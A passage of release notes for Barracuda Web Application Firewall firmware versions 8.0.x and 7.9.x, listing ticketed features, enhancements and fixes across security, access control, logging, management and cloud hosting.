a parameter name in two different cases (uppercase and lowercase), two parameter profiles will be created for the parameter when
policy fix is applied. [BNWF-13798]
Fix: Private key will not be exported in the backup when the certificate is uploaded with "Allow Private Key Export” set to "No".
Fix: If “Allow Private Key Export” is set to “No” for an uploaded certificate, the private key will not be included in the certificate when the
certificate is downloaded. [BNWF-20474]
Fix: Data theft protection is now applied to responses with application/xml content. [BNWF-21001]
Fix: A rare issue that resulted in service outage when bruteforce policy was applied, has been fixed. [BNWF-20945]

Access Control
Enhancement: IDP entity ID is now automatically populated from the IDP metadata. [BNWF-20776]
Enhancement: An IDP selection response page is now automatically associated to the service that is enabled with SAML authentication
service. [BNWF-19523]
System
Feature: Ability to configure supported SSL protocols for the Barracuda Web Application Firewall web interface. (SSL protocols can be
selected on the ADVANCED > Secure Administration page.) [BNWF-20528]
Feature: Threshold for bandwidth, incoming requests/connections and live sessions for the system can now be configured in the BASIC
> Dashboard page, Preferences window. If the system exceeds the configured threshold, an email notification is sent to the configured
email address/addresses with the download link of the file in it. [BNWF-22387]
Feature: Servers using hostname as the identifier can now be resolved to multiple IPs, and the system performs load balancing across
these IP addresses This is especially important in IaaS environments.[BNWF-22367]
Enhancement: SSLv3 is now disabled by default for new services. [BNWF-20774]
Enhancement: Ability to copy an existing security policy and create a new security policy has been added. [BNWF-20350]
Enhancement: CPU usage calculation in multi-core systems has been improved. [BNWF-15607]
Enhancement: Square brackets are now supported in the exempted cookie list. [BNWF-21270]
Enhancement: New servers added by name resolution will now have unique server names. [BNWF-22594]
Enhancement: The backslash (0x5c) and SOH (%01) are now included in the default denied metacharacters list. [BNWF-21403]
Enhancement: Re-provisioning capability has been added for Barracuda Web Application Firewall virtual machines. [BNWF-20970]
Fix: Memory leak issue that was observed when uploading files as multipart/form-data, has been fixed. [BNWF-22360]
Fix: Organization Name can include ampersand (&) character when creating a certificate. [BNWF-22328]
Fix: A race condition issue in the monitoring process that caused service outage, has been fixed. [BNWF-22251]
Fix: Alert notification for memory usage is sent only when total memory (RAM + SWAP) exceeds 85%. [BNWF-22237]
Fix: A trusted host group can now be deleted if it is not associated with any service. [BNWF-21970]
Fix: Login issue that occurred when restoring the backup, has been fixed. [BNWF-21681]
Fix: An issue that marked the service down when client impersonation was enabled, has been fixed. [BNWF-21320]
Fix: The “URL” field in the URL profile can now be configured with the ampersand (&) character in it. [BNWF-19844]
Fix: If the primary DNS server is not reachable, or unable to resolve the hostname, the Barracuda Web Application Firewall uses
secondary DNS server (if configured) to resolve the hostname. [BNWF-22145]
Fix: A possible race condition while processing burst of requests, is now handled gracefully. [BNWF-21695]
Fix: In case of connection failures during backend connectivity, the errors are logged less frequently to avoid voluminous logs in the
system. [BNWF-21398]
Fix: If “<” and “>” are present in the POST request, the Barracuda Web Application Firewall normalizes these characters before
pattern matching. [BNWF-21240]
Fix: An issue that put the system into maintenance mode, has been fixed. [BNWF-22005]
Fix: When there is no rewrite being done on the response pages by any modules in the Barracuda Web Application Firewall, the
response is not chunk encoded until and unless the server itself sends the chunk encoded response. [BNWF-21171]
Fix: A possible memory leak in the path of persistence, has been fixed. [BNWF-17331]
Fix: An issue with hostname resolution when TTL 0 was received, has been fixed. [BNWF-21077]
Fix: An issue where an old snapshot was loaded when web interface operation failed, has been fixed. [BNWF-19373]
Fix: Restarting the log module will no more cause service disruption. [BNWF-21066]
Feature: AMQP (1.0 version) protocol support added to export logs to external aggregators that are compliant to AMQP message
queuing, including Microsoft Azure's Event Hub. [BNWF-20551]
Feature: Ability to set the frequency to export access logs to the FTP server. [BNWF-4285]
Enhancement: Layer 7 health check failure errors now display Source IP/Port, Destination IP/Port when the log level is set to
"Information". [BNWF-20135]
Enhancement: Custom log format can be defined for “System Logs” and “Network Firewall Logs” on the ADVANCED > Export Logs
page. [BNWF-20318] [BNWF-22013]
Fix: Memory leak issue that was observed when logging web firewall logs at a high rate, has been fixed. [BNWF-21846]
Fix: “Mismatched IP Cookie Replay Attack" logs are not generated on the BASIC > Web Firewall Logs page when "Cookie Replay
Protection Type" is set to “None”. [BNWF-21678]
Fix: Junk characters are now handled properly while generating a unique ID for a web firewall log, and traffic is processed without
interruption. [BNWF-21218]
Fix: Server Username in FTP Access Logs can now include <domain name>/<username>. [BNWF-21035]
Fix: An issue with unreadable characters for "Invalid Method" in access logs when the URLs come in a non-ASCII charset, has been
fixed. [BNWF-18982]
Fix: The client IP/port and server IP/port are now logged in the system logs if client certificate is not presented during the SSL
handshake. [BNWF-14829]
Fix: All fields in Web Firewall Logs and Access Logs have been normalized to handle multi-byte charsets and escape sequence
characters. [BNWF-19136]
Fix: Logs exported to the CSV format now displays the text in English irrespective of the language setting in the browser. [BNWF-19633]

User Interface
Feature: Ability to add custom MIME types for JSON profiles. [BNWF-20372]
Enhancement: Infinite-scrolling is implemented on the BASIC > Services page to improve performance. [BNWF-20991]
Enhancement: "Outbound Attacks" has been renamed to "Cloaked Responses" in the "Attacks" graph and statistics table on the BASIC >
Dashboard page. [BNWF-18198]
Fix: It is now possible to delete URL profiles and parameter profiles when the profiles are filtered based on the directories.
[BNWF-22331]
Fix: The "api.cgi" file is no longer exposed in the web interface. [BNWF-20961]
Fix: Directory access on the Barracuda Web Application Firewall's management web interface now returns 404 instead of 403.
[BNWF-20960]
Fix: Web interface vulnerability for caching and content-type has been addressed. [BNWF-18372]
Fix: An issue that did not allow intermediate certificates to be uploaded when the web interface language was set to "German", has been
fixed now. [BNWF-19783]
Fix: Delay in opening edit window for URL and parameter profiles, has been fixed. [BNWF-22394]
Management
Feature: URL optimizers has been implemented to handle large number of URL profiles, where multiple URL profiles can be coalesced
into one. [BNWF-20657]
Feature: Parameter optimizers has been implemented to handle large number of parameter profiles, where multiple parameters profiles
can be coalesced into one. [BNWF-21294]
Fix: Hard disk cleanup has been improvised to handle space issues. [BNWF-22438]
Fix: Compilation error seen with NNM's MIB compiler for SNMP has been fixed. [BNWF-21388]
Fix: “Total Bandwidth” and “Services: Bandwidth” graphs on the BASIC > Dashboard page now display correct data. [BNWF-21278]
High Availability
Fix: Local host entries are now not synchronized in the cluster environment. [BNWF-21284]
Cloud Hosting
Feature: Auto scaling and bootstrapping capability added for the Barracuda Web Application Firewall on AWS. [BNWF-20259]
Fix: A rare issue where creating a security policy in an AWS instance, model BWFCAW001a resulted in generating improper values. This
issue has been fixed. [BNWF-21103]
Fix: Virus scan can now be enabled on the Barracuda Web Application Firewall A2 instances in Microsoft Azure and Amazon to check
the presence of viruses in the files uploaded through multipart/form-data messages. [BNWF-18922]
REST API Enhancements and Fixes
Enhancement: URL and parameter profiles for a service can now be added/updated/retrieved/deleted using REST API. [BNWF-20804]
Enhancement: URL client authentication can now be configured using REST API. [BNWF-20627]
Fix: Server Name Indication (SNI) for servers can now be enabled/disabled using REST API. [BNWF-22359]
Fix: REST API now honors camel case in server name. [BNWF-21376]
Fix: Local administrators created on the ADVANCED > Admin Access Control page can now update/modify vsites data using REST API.
[BNWF-21102]
Fix: Updating the server details using REST API does not insert junk values into the DB. [BNWF-20819]

Release Notes Version 8.0.1
will apply.
XML RPC has been deprecated. Use REST API to make API calls.
Fixes and Enhancements in 8.0.1
Access Control
Feature: You can now configure allow/deny ACLs based on SSL/TLS version. [BNWF-19957]
Fix: The user redirects to the configured Login Successful URL only if successfully authenticated. [BNWF-20709]
Fix: Auth Success URL is now constructed using the host header. [BNWF-20706]
Fix: A CAPTCHA image now displays in the presence of Authorization rules in version 8.0. [BNWF-20598]
Fix: favicon.ico can now be accessed even when authentication is enabled for a service. [BNWF-20561]
System
Fix: Non-SSL requests matching a rule group are no longer routed to the wrong servers under certain conditions. [BNWF-20965]
Fix: A possible outage caused by memory overrun with JSON data parsing has been addressed. [BNWF-20873]
Fix: High virtual memory usage on 860/960 hardware has been addressed. [BNWF-20853]
Fix: When Service Failure Action is set to Drop Connection, the requests are now dropped even when either servers or rule group
servers did not fail. [BNWF-20771]
Fix: A race condition issue in the monitoring process, that caused a rare but potential outage during the reboot or upgrade processes,
has been fixed. [BNWF-20744]
Fix: Deleting a service on an appliance configured with a large number of services, and with Service Failure Action set to Drop
Connection, no longer brings down unintended services. [BNWF-20625]
Fix: A rare issue, that dropped all traffic when a database of service related variables got corrupted, has been fixed. [BNWF-20611]
Fix: A possible data path outage issue, caused by response body rewrite policies applied to certain kinds of response body, has been
fixed. [BNWF-20553]
Fix: A possible data path outage issue, caused by POST parameter names exceeding two megabytes, has been fixed. [BNWF-18698]
Fix: Setting Log Status to On for a network firewall ACL rule no longer creates unwanted logs in the /tmp/ folder. [BNWF-20710]
Fix: A possible outage, caused by memory overrun while logging SSL protocol version, has been addressed. [BNWF-20674]
High Availability
Fix: An issue, where health check probes wrongly initiated from an HA peer with source IP already bound to another peer, has been
fixed. [BNWF-20120]
Patents
This appliance contains one or more of the following patents:

9,021,017 8,559,450 8,559,450 7,861,300 7,093,287

8,849,836 8,558,888 8,558,888 7,836,267 7,010,611
8,843,612 8,555,365 8,555,365 7,788,291 6,778,941
8,838,965 8,463,797 8,463,797 7,688,815 6,324,582
8,831,030 8,447,856 8,447,856 7,519,727 6,266,701
8,789,178 8,443,193 8,443,193 7,328,247 6,098,108
8,788,831 8,434,140 8,434,140 7,272,155 6,097,697
8,788,597 8,285,997 8,285,997 7,254,038 5,999,967
8,775,604 8,280,895 8,280,895 7,149,795 5,796,948
8,726,384 8,219,644 8,219,644 7,149,222 5,503,561
8,725,704 8,204,948 8,204,948 7,103,913
8,571,042 8,194,174 8,194,174 7,093,294

will apply.
Change in Behavior:
Requests with content type as text/plain, are now not included in deep inspection to prevent false positives. [BNWF-19588]
Requests with content type as “application/json”, are now validated against the JSON profile(s) associated with the service on
the WEBSITES > JSON Security page.
The “Max-Age” header can now have negative values. [BNWF-19097]
The closing tag for the Barracuda Web Application Firewall inserted CSRF tokens, is now made compliant with HTML5
standard. [BNWF-18297]
The OS Command Injection pattern group is now included in the security policy for owa, owa2010, owa2013, sharepoint and
sharepoint2013. [BNWF-18681]
If you have configured email address(es) in System Contact Email Address in the BASIC > Administration > Email
Notifications section, then the system summary report is automatically scheduled to be delivered weekly to the specified
email address(es).
Templates created in version 8.0 are not supported in version 7.9.x. [BNWF-20544]
Security
Feature: Ability to enforce Brute force policy for failed login attempts. [BNWF-18785]
Feature: The enhancement is done to the features where response contents are inspected, and create the request rewrite rule
automatically on the WEBSITES > Website Translations page to remove the "Accept-Encoding" header from the request. [BNWF-17988]
Enhancement: 'LDAP Injection', 'Python-PHP attacks', 'HTTP Specific Injection' and 'Apache Struts attacks' are extracted from "OS
Command Injection" and displayed as separate blocked attack types. [BNWF-19023]
Enhancement: Separate response pages have been introduced for AAA login pages. [BNWF-18761]
Enhancement: When multiple IDPs are configured for SAML authentication service, the user is provided with IDP selection page while
accessing the service. [BNWF-19215]
Fix: Malformed XML request are blocked if the service is in "Active" mode, and Action Policy is configured to protect from such requests.
[BNWF-14797]
Fix: All encoded and non-encoded attack patterns are correctly blocked when Base64 decoding is turned ON. [BNWF-20239]
Fix: Large sized base-64 encoded POST requests that matched certain action policy criteria were causing the data path to shutdown
abruptly. This issue is resolved. [BNWF-20147]
Fix: The "&" in the URL query is normalized to "&" before encrypting the URL when "URL Encryption" is enabled. [BNWF-20056]
Fix: An SQL Injection attack vulnerability in the search option field has been fixed. [BNWF-20029]
Fix: The max threshold for "Max Request Line Length" in SECURITY POLICIES > Request Limits is now limited to 64K. [BNWF-19228]
Fix: The "Policy Fix" wizard now displays the correct parameter profile if the request has colon (:) in the parameter name. [BNWF-19103]
Fix: "Session Timeout" is now added in SECURITY POLICIES > Action Policy. [BNWF-19060] [BNWF-19095]
Fix: The square bracket ([ ]) character is now treated as sensitive parameter, and is masked in Web Firewall Logs when configured on
the WEBSITES > Advanced Security > Mask Sensitive Data in Logs section. [BNWF-18803]
Fix: The "Policy Fix" and "Exception Profiling Fix" now provides correct fix for "Maximum Instance of Parameter Exceeded" attacks.
[BNWF-17825]
Fix: A URL encryption issue is fixed to encode the URLs properly to handle spaces in between the URL path. [BNWF-17222]
Fix: The NCSSOTARGET parameter is not added to the query parameter when SSO is not enabled on the ACCESS CONTROL >
Authentication Policies page. [BNWF-15484]
Fix: The threshold for "Max Parameter Value Length" is same in Security Policies > Parameter Protection and WEBSITES > Website
Profiles > Parameter Profile. [BNWF-18862]
Access Control
Feature: The Access Control policy capabilities have been enhanced to customize and configure the login pages. [BNWF-14933]
Fix: An issue where extra lines were getting added when the AAA session cookie was updated after the "Cookie Refresh Interval" for

POST requests, has been fixed now. [BNWF-18576]

Fix: "Login Processor Path" on the ACCESS CONTROL > Authentication Policies page can now include absolute URL. [BNWF-18326]
System
Feature: A new option “Use Last IP Address From Header for Client IP Address” has been introduced on the ADVANCED > System
Configuration page. When set to “Yes”, the Barracuda Web Application Firewall uses the last IP address in the "X-Forwarded-For"
request header as the client IP address, and displays it in the Client IP field in the logs. [BNWF-17368]
Enhancement: The "Status" page is now renamed as "Dashboard". [BNWF-18504]
Enhancement: 32 bit legacy WAF machines now are built with latest version 1.0.1m of OpenSSL. [BNWF-18987]
Enhancement: Live graphs are added on the BASIC > Dashboard page to monitor attacks on services. [BNWF-18612]
Fix: A memory leak issue in handling continuous file uploads as multipart/form-data, has been fixed. [BNWF-20415]
Fix: Older units (2009 or earlier) had firmware upgrade issues due to a small firmware partition. This has been resolved. [BNWF-19986]
Fix: User passwords now support all special characters. Some characters like "&" did not work earlier. [BNWF-19948]
Fix: A "Trusted CA" certificate is not allowed to be uploaded in the “Upload Certificate” section on the BASIC > Certificates page.
[BNWF-19544]
Fix: "CUSTOM" services are not available for selection under "Graphs: Service Statistics" on BASIC > Dashboard > Preferences.
[BNWF-18911]
Fix: The value for "Max Header Value Length" can now be set to blank on the WEBSITES > Allow/Deny > Header: Allow/Deny Rules s
ection. [BNWF-18805]
Fix: After Firmware Upgrade, GeoIP Definition Updates retains the currently installed version if the latest version is lesser than the
installed version. [BNWF-18706]
Fix: When HTTPS port is selected as the only way to use the Barracuda Web Application Firewall web interface, the online help's search
indexing was not getting updated correctly. This issue has been fixed. [BNWF-18575]
Fix: While creating adaptive profile rules, it is possible to keep the "Trusted Hosts" field empty. [BNWF-18505]
Fix: Critical process of the unit were failing due to certificates with duplicate serial numbers. This issue has been fixed. [BNWF-16627]
Fix: Issue with bypass in newer machines manufactured recently, is addressed. [BNWF-20033]
Fix: Time zone issue for Asia/Jordan-Amman region is fixed. [BNWF-18739]
Fix: Time for Moscow Time zone is now adjusted. [BNWF-18541]
Fix: Addition of the same cookie name with two different cases, is now permitted and does not cause a rollback. [BNWF-16856]
Fix: Configuration rollback issue in the server hostname feature, has been fixed. [BNWF-17600]
Fix: Rollback caused due to missing URL parameters in a URL profile, has been fixed. [BNWF-18941]
Fix: A configuration snapshot is taken on every configuration change made on the Barracuda Web Application Firewall, and in case of
rollback, the last successful working configuration snapshot is used to restore the database. [BNWF-18578]
Fix: When "Enable Strict SNI Check" is set to "No" for a service, then SSL handshake for requests matching the configured domain
under SNI happens using the certificate associated with the service. [BNWF-19685]
Feature: Ability to log Client IP address and port for HTTPSVC module on the ADVANCED > System Logs page. [BNWF-18542]
Feature: "Service Name" column has been added in Web Firewall Logs, Access Logs and Network Logs. [BNWF-16001]
Feature: Logs can now be filtered based on attack category on the BASIC > Web Firewall Logs page. [BNWF-16890]
Feature: Added 'Server Summary' report under 'Config Summary' on the BASIC > Reports page to show server configuration details like
'OOB Health Checks', 'Connection Pooling ' and 'Client Impersonation'. [BNWF-3934]
Feature: Each log is associated with a unique ID on BASIC > Web Firewall Logs and Access Logs. Using the unique ID you can now
filter the logs easily. [BNWF-4847]
Enhancement: Log ID for each log is added while exporting the logs in CSV format. [BNWF-19272]
Enhancement: The "Log Details" are categorized into various sections on the BASIC > Web Firewall Logs and Access Logs pages.
[BNWF-19687]
Enhancement: Ability to set the time (in military format), day/date and schedule the report. [BNWF-9164]
Enhancement: Ability to navigate to any page in Web Firewall Logs and Access Logs by entering the page number. [BNWF-19005]
Enhancement: Reports can now be scheduled in PDF format. [BNWF-18692]
Enhancement: It is now possible to include/exclude timestamp and hostname in the logs that are exported to the configured syslog
server. [BNWF-18741]
Enhancement: The "Query String" column is added in the BASIC > Web Firewall Logs page. [BNWF-19086] [BNWF-19923]
Enhancement: "Client Traffic Reports" on the BASIC > Reports page includes "Requests By Device Type" to show the most used device
type(s) that accessed the services. [BNWF-18924]
Enhancement: Notification is sent when the system encounters "Invalid International License" for Energize Updates. [BNWF-18413]
Enhancement: Each log is now associated with a unique ID on the BASIC > Web Firewall Logs and Access Logs pages. The log ID
gets exported in CSV files and syslog files with the format "%uid". [BNWF-18411]
Enhancement: Web Firewall Logs and Access Logs can now be filtered using unique ID. [BNWF-18410]
Fix: The URL's in reports now include domain name. [BNWF-19784]
Fix: NTP time changes now updates the timestamp in "System Logs" on the Barracuda Web Application Firewall web interface.
[BNWF-20364]
Fix: An occasional issue that prevented downloading firewall logs has been fixed. [BNWF-20223]
Fix: The logs on the BASIC > Audit Logs page now display the correct IP address under "Login IP" when reboot and shut down
operations are performed. [BNWF-19736]

Fix: The "Referer" field value with double quote is now exported properly in CSV file. [BNWF-19096]
Fix: Exported CSV files now include "Country Code" of the user in "Web Firewall Logs", "Access Logs" and "Network Firewall Logs".
[BNWF-18835]
Fix: Added "Alert" notification if summarization mechanism fails for storing reporting data. [BNWF-18819]
Fix: Suppressed unnecessary D-state logs that displayed in ADVANCED > System Logs. [BNWF-18789]
Fix: Reports can now be filtered using a "Service" name. [BNWF-18733]
Fix: The Network Firewall logs exported to CSV file/Syslog server now displays correct “Action” value for the configured ACL.
[BNWF-18388]
Fix: Various fields of Web Firewall Logs and Access Logs are normalized to handle malfunctioning of logs. [BNWF-18327]
Fix: A log is generated in "System Logs" if the client certificate is not presented, and SSL handshake fails when "Client Authentication
Enforced" is enabled. [BNWF-14829]
Fix: Non-readable characters are now Hex Encoded in the logs that are exported to CSV file. [BNWF-18982]
Fix: In a rare condition, during firmware upgrade, log database migration was creating a stray file that resulted in not showing log
information in the ADVANCED > System Logs page, and latest information not being updated in the BASIC > Access Logs/Web
Firewall Logs page. This issue has been fixed. [BNWF-20055]
User Interface
Enhancement: Selecting a "Parameter Class/Custom Parameter Class" on WEBSITES > Website Profiles > Parameter Profile now
displays details of the selected parameter class. [BNWF-16448]
Fix: An issue that displayed junk characters in the “Extended Match” widget, has been fixed. [BNWF-19072]
Fix: Extended Match widget now works properly in Japanese and other languages. [BNWF-18758]
Fix: The Barracuda Web Application Firewall web interface has been enhanced to ensure HTML forms are saved without errors.
[BNWF-18418]
Fix: Internal ACL Rules were not getting created correctly when the web interface's default language and encoding was set to "Espanol".
This issue has been fixed. [BNWF-17867]
Fix: The element type "URI-path" is now available in the Extended Match widget. [BNWF-17106]
Management
Feature: Multiple objects of similar type can now be edited using "Partial Templates" on the ADVANCED > Templates page.
[BNWF-17643] [BNWF-19511]
Feature: Ability to add/edit static routes through templates. [BNWF-15100]
Feature: Ability to enforce client certificate authentication policies granularly on URL spaces. [BNWF-14927]
Enhancement: It is now possible to avoid management port configuration of a backup while restoring the file into a new unit. This is
provided using an option "Exclude Management Port Configuration". [BNWF-15223]
Enhancement: Template UI behavior changed to have on-demand loading of 'param groups' instead of pre-loading all configuration.
Greatly improves performance while creating a template (esp. Service or Security Policy). [BNWF-17451]
Enhancement: Template dependencies are supported in 8.0, and the dependency objects can be configured while applying a template.
[BNWF-18124]
Enhancement: It is now possible to “Select All” or “Deselect All” while creating or editing a template configuration. [BNWF-19368]
Enhancement: Configuration related enhancements have been made to ensure that the certificates are regenerated when PKI
Certificates are either uploaded or deleted. This enhancement also covers user interface misbehavior problems seen in earlier firmware
versions. [BNWF-19127] [BNWF-18997] [BNWF-18889]
Fix: Editing and saving a URL/Parameter profile after applying a filter, or by selecting a profile in a sub-directory under "Directories" on
the WEBSITES > Website Profiles page now redirects you to the same filtered page. [BNWF-19102]
Fix: The “Organization Name” and “Organization Unit” name can now include apostrophe (') while creating a certificate on the BASIC >
Certificates page. [BNWF-20170]
Fix: LDAP user DN with special characters is honored on the ADVANCED > Admin Access Control page. [BNWF-18373]
Fix: A memory leak issue in one of the configuration management process, which slowed down the system, has been fixed.
[BNWF-20117]
Fix: Log rotation for packet captures has been fixed. [BNWF-19932]
Fix: The response is not chunked encoded, and the connection is not closed for HTTP/1.1 requests when the request does not match
any of the configured response body rewrite rules. [BNWF-19602]
Fix: The second page while traversing the adaptive profiles was occasionally displaying incorrect information. This issue has been fixed.
[BNWF-19157]
Fix: Duplicate configuration information was sometimes getting stored while creating a real server configuration. This issue has been
fixed. [BNWF-18872]
Fix: Requests with an authorization header are now redirected to the correct real server according to content rules. [BNWF-18134]
Fix: Trusted hosts with overlapping subnets are now not allowed to be configured on the WEBSITES > Trusted Hosts page.
[BNWF-15650]
High Availability
Fix: In clustered units, Syslog traffic were incorrectly routed through MGMT interface with WAN IP even after having static route in place.
This has been fixed. [BNWF-13600] [BNWF-19802]

Cloud Hosting
Fix: Windows azure agent Version 2.0.8 is included in the Barracuda Web Application Firewall Version 8.0. [BNWF-19618]

will apply.
If you upgrade to 7.9.x from 7.8.x or previous versions, the attack counts generated in 7.8.x or previous versions will not be populated
in the World map on the BASIC > Status page, as the IP reputation (Geo IP) feature was implemented in version 7.9. For this reason
there is inconsistency in the total attack count in the Attack table and World map on the BASIC > Status page.
Change in behaviour:
Base64 decoding is not applied to parameter values adhering to Data URI scheme unless Base64 Decode Parameter Value i
s set to Yes. [BNWF-19540]
The Barracuda Web Application Firewall does not perform deep inspection on the content of the POST body in plain text
format. [BNWF-19281]
Fix: Negative integer in the Max-age header is now honored by the Barracuda Web Application Firewall. [BNWF-19542]
Fix: Username can now contain backslash (\) for RADIUS authentication. [BNWF-19543]
Enhancement: It is now possible to include or remove the Timestamp and Unit name fields in logs exported to the syslog server.
[BNWF-19508]
Fix: Policy Fix now creates a correct parameter profile for parameters containing a colon. [BNWF-19103]
Fix: After upgrade to 7.9.1.010, cookies were modified or not displayed in Cookies Exempted on the SECURITY POLICIES > Cookie
Security page. This issue is now fixed. [BNWF-18890]
Fix: The internal database for log storage has been resized in the Barracuda Web Application Firewall 360 and 460 to reduce RAM
usage. [BNWF-19105]
Fix: Various fields of web firewall logs and access logs are normalized to handle multi-byte charsets and escape sequence characters,
which caused issues when logs were exported to CSV format.[BNWF-19136] [BNWF-19683] [BNWF-19580] [BNWF-16619]
Fix: An upgrade in the Azure platform resulted in some rare outage issues. This is now fixed.[BNWF-19200]
Fix: An issue with the firmware upgrade process in offline mode is resolved.[BNWF-19302]
Fix: A possible outage caused by memory overrun while logging SSL protocol version, has been addressed.[BNWF-18993]
Fix: If Header for Client IP Address is selected for a service, the Barracuda Web Application Firewall checks 64 HTTP headers for the
occurrence, and picks the right client IP address. [BNWF-18950]
Fix: Virus detection feature is now available for A2 instances on Azure and Amazon Web Services. [BNWF-18922]
Fix: In Bridge mode, the services created in languages other than English now work as expected. [BNWF-18823]
Fix: URL encryption issue now encodes URLs properly handling spaces in the URL path.[BNWF-17222]
Fix: When requests do not match the configured response body rewrite rules, the response is not chunk encoded and the connection is
not closed for HTTP/1.1 requests by the Barracuda Web Application Firewall. [BNWF-19546]
Fix: If a file without name is uploaded through multipart/form-data and no virus is detected in the uploaded content, the request is not
logged in the BASIC > Web Firewall Logs page.[BNWF-19432]
Fix: If the attack detail field has non-English characters, it is normalized to hex-encoded values before logging and exporting.
[BNWF-18982] [BNWF-18903]

will apply.
If you upgrade to 7.9.x from 7.8.x or previous firmware versions, older web firewall logs and access logs will no longer be available on
the Barracuda Web Application Firewall web interface. It is recommended to export relevant logs using the available options under AD
VANCED > Export Logs before doing the upgrade. If you upgrade from 7.9 to 7.9.1, the older logs will be retained on the web
interface. [BNWF-18274]
Firmware upgrade on older Barracuda Web Application Firewall appliances (with serial numbers less than 241000) may fail due to lack
of appropriate disc space in the partition used during upgrade. Please contact Barracuda Networks Technical Support for assistance
with the firmware upgrade to 7.9.1. [BNWF-18737]
If you upgrade to 7.9.x from 7.8.x or previous versions, the attack counts generated in 7.8.x or previous versions will not be populated
in the World map on the BASIC > Status page, as the IP reputation (Geo IP) feature was implemented in version 7.9. For this reason
there is inconsistency in total attack count in the Attack table and World map on the BASIC > Status page.
Only the base URLs are logged in the BASIC > Web Firewall Logs page. However, the query strings are logged in the BASIC
> Access Logs page in the Query String field as usual.
System
Feature: The Certificate Signing Request (CSR) created on the Barracuda Web Application Firewall now uses SHA-2 algorithm.
[BNWF-18359]
Feature: PROT P and PBSZ ftp commands are now allowed for FTP SSL service. [BNWF-18163]
Fix: Resolved data path crashes on rare race conditions triggered by specific content. [BNWF-18878]
Fix: Database server now restarts correctly on 32 bit systems in the event of a failure. [BNWF-18866]
Fix: In some cases, the eventmgr process shut down abruptly due to inappropriate SSL values. This issue has been resolved.
[BNWF-18845]
Fix: A race condition which caused the system to rollback configuration changes after the firmware upgrade process has been fixed now.
[BNWF-18730]
Fix: User passwords now support all special characters. Some characters like "&" did not work earlier. [BNWF-18637]
Fix: An issue where the SNI configuration was corrupted after the upgrade, resulting in service outages, has been fixed now.
[BNWF-18485]
Fix: The monthly report of attack graph on the BASIC > Status page was displaying incorrect data. This issue is fixed now.
[BNWF-18379]
Fix: It is now possible to configure a single IP address as Preferred Client IP Range in the rate control pool. [BNWF-18349]
Fix: The %s macro now works correctly and does not lead to recursion. [BNWF-18332]
Fix: A race condition where the request was intermittently dropped when a large file was uploaded is now fixed. [BNWF-18241]
Fix: Parentheses () are now supported in Common Name when creating allow/deny rule for client certificates on the ACCESS
CONTROL > Client Certificates page. [BNWF-18224]
Fix: You can now set Chunked Encoding Response Data to No to ensure the server response is not sent to the client in chunks.
[BNWF-18202]
Fix: An issue that enabled/disabled the servers associated with a service without performing OOB health checks has been fixed.
[BNWF-16273]
Fix: The GeoIP database is updated to the latest to avoid any mismatch between IP Address lookup and blocking IP address due to
GeoIP policy. [BNWF-16270]
Fix: Reorganized database file layout for optimal utilization of disk space. [BNWF-18324]
Fix: An issue where services with both VLAN and Non-VLAN applications did not recover properly when Bridge on Server Failure was
set to Yes on the ADVANCED > System Configuration page in bridge mode, has now been addressed. [BNWF-15635] [BNWF-15765]

High Availability
Fix: Config sync across a cluster works correctly when one or more schema or WSDL is bound to a service. [BNWF-18848]
Fix: In a rare instance, primary cluster configuration was lost. This has been resolved. [BNWF-18464]
Fix: An issue where the Join Cluster operation resulted in deleting SNMP allowed range from the IP tables has been fixed now.
[BNWF-17163]
Feature: During SSL transactions, the negotiated protocol version is logged in the access logs. [BNWF-18307]
Fix: Policy fix was not displayed for the older logs in the database. This issue has been fixed now. [BNWF-18719]
Fix: All sensitive parameters are now masked in the BASIC > Web Firewall Logs page when asterisk (*) wild character is configured for
a service in the WEBSITES > Advanced Security > Mask Sensitive Data in Logs section. [BNWF-18434]
Fix: Duplicate entries were sometimes exported in FTP export. This is now resolved. [BNWF-18286]
Fix: Policy Fix in Web Firewall Logs now shows the correct fix when parameter name includes a quote character. [BNWF-18060]
Fix: Syslog traffic was getting routed through MGMT interface with WAN IP even after having static route in place. This issue has been
fixed. [BNWF-17603]
Fix: The Policy Fix for Metacharacter in header now removes the metacharacter found in the request from Denied Metacharacters list in
the Header ACL. [BNWF-14786]
Fix: The Policy Fix for Metacharacter in parameter now removes the metacharacter found in the request from the Denied Metacharacters
list in Parameter Protection. [BNWF-14772]
Access Control
Fix: An issue where extra lines were getting added when the AAA session cookie was updated after the "Cookie Refresh Interval" for
POST requests, has been fixed now. [BNWF-18576]
Security
Feature: SAML 2.0 is now supported on the Barracuda Web Application Firewall. [BNWF-15040]
Feature: SAML 2.0 Logout functionality, SAML authentication and authorization for a protected resource has been implemented.
[BNWF-18182]
Fix: Large sized base-64 encoded POST requests that matched certain action policy criteria were causing the data path to shutdown
abruptly. This issue is resolved. [BNWF-18521]
Fix: Perfect Forward Secrecy with ECHDE and DHE ciphers can now be enabled for the Barracuda Web Application Firewall web
interface (UI). [BNWF-18419]
Fix: When CSRF protection is enabled, the system was not processing POST requests correctly on data path restarts. This issue is
resolved. [BNWF-18414]
Fix: OpenSSL commands are now correctly executed on 32 bit systems. [BNWF-18365]
Fix: A false positive in OS Command Injection Strict rule, pattern misc-commands has been addressed. [BNWF-18296]
Fix: X-Frame-Options header is now inserted in all AAA related internal responses that are sent to the client from the WAF.
[BNWF-18153]
Fix: The max threshold for Max Request Length in the SECURITY POLICIES > Request Limits is now limited to 65536 bytes.
[BNWF-17966]
Fix: There was a configuration rollback when the firmware in the system was upgraded to 7.9 version while the cookie protection feature
was configured with some case specific entries in the cookie exemption list, for example ABC,abc etc. This issue is resolved.
[BNWF-17164]
Management
Fix: Scheduled FTP backups now work correctly. [BNWF-18371]

Fix: Policy wizard fix was overriding the settings in URL Profile for Max Content Length/Max Upload Files/Max Parameter Name length if
these fields were configured as empty in the SECURITY POLICIES > Parameter Protection. This is fixed now. [BNWF-18107]
Fix: An administrator role with write permission on the service can now make configuration changes to the servers associated with the
service. [BNWF-18057]
Fix: Inconsistency with the display name Method_Not_Allowed vs. Forbidden Method attack has been fixed. [BNWF-17994]
Cloud
Fix: On Microsoft Azure VM instances with less than 4 GB RAM, the STM process shut down abruptly due to memory related problems
while storing logs in the database. This issue has been fixed to allocate appropriate database instances as the logs events are
increased. [BNWF-17934]
Fix: Inefficient process management for name resolution of servers specified using their host name (instead of IP address) caused large
memory utilization impacting A1 and A2 instances in Microsoft Azure. This is now fixed. [BNWF-18212]
Networking

Fix: Multiple DNAT rules can now be added to a Vsite if the destination IP address and Port are unique. [BNWF-10837]

will apply.
Only the base URLs are logged in the BASIC > Web Firewall Logs page. However, the query strings are logged in the BASIC
